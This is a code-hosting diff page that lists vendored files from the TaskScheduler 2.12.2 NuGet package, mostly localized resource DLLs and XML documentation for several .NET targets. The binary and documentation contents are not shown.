vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll
vendored
Normal file
Binary file not shown.
7855
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.xml
vendored
Normal file
7855
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.xml
vendored
Normal file
File diff suppressed because it is too large
Load diff
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll
vendored
Normal file
Binary file not shown.
7855
packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml
vendored
Normal file
7855
packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml
vendored
Normal file
File diff suppressed because it is too large
Load diff
BIN
packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue